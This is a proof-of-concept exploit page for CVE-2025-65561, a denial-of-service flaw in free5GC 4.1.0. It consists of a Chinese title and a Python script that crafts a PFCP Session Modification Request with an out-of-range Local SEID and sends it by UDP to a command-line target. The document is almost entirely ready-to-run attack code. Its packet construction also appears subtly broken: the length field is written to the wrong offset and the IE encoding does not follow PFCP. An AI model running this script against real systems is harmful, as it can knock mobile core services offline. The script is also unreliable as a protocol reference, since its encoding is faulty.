free5GC 4.1.0 LocalNode.Sess函数拒绝服务漏洞 (CVE-2025-65561)

#!/usr/bin/env python3 """ CVE-2025-65561 PoC - free5GC LocalNode.Sess DoS This PoC demonstrates sending a crafted PFCP Session Modification Request with malicious Local SEID to trigger denial of service in free5GC 4.1.0 """ import socket import struct import random def create_pfcp_header(msg_type, flags=0x20): """Create PFCP header Flags: Version(3 bits) = 1, MTI(1 bit) = 0, SPM(1 bit) = 1 (Set Message Type) """ version_flags = (1 << 5) | flags # Version=1, SPM=1 message_type = msg_type message_length = 0 # Will be updated with actual length return struct.pack('!BBH', version_flags, message_type, message_length) def create_ie(ie_type, ie_data): """Create Information Element with Type-Length-Value format""" ie_type_encoded = ie_type << 4 | 0x01 # Type and length format ie_length = len(ie_data) # IE header: Type(4 bits) + Length(4 bits) + Type extension(8 bits) + Length(16 bits) ie_header = struct.pack('!BBH', ie_type_encoded, 0, ie_length) return ie_header + ie_data def create_malicious_local_seid(): """Create malicious Local SEID that may trigger vulnerability""" # Use invalid or unexpected SEID value return struct.pack('!Q', random.randint(0xFFFFFFFF00000000, 0xFFFFFFFFFFFFFFFE)) def create_pfcp_session_modification_request(): """Create PFCP Session Modification Request with malicious Local SEID""" # PFCP Header: Session Modification Request (Type 51) pfcp_header = create_pfcp_header(51) # Create IE: Node ID (IE Type 77) node_id = b'\x00\x00\x00\x01' # IPv4 Node ID ie_node_id = create_ie(77, node_id) # Create malicious Local SEID (IE Type 0x59) malicious_seid = create_malicious_local_seid() ie_local_seid = create_ie(0x59, malicious_seid) # Build message message = pfcp_header + ie_node_id + ie_local_seid # Update message length in header (excluding first 4 bytes) msg_len = len(message) - 4 message = message[:4] + struct.pack('!H', msg_len) + message[6:] return message def exploit(target_ip, target_port=8805): """Send malicious PFCP packet to trigger vulnerability""" print(f"[*] Target: {target_ip}:{target_port}") print("[*] Creating malicious PFCP Session Modification Request...") payload = create_pfcp_session_modification_request() print(f"[*] Payload length: {len(payload)} bytes") print(f"[*] Payload (hex): {payload.hex()}") try: print("[*] Sending malicious packet...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent successfully") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])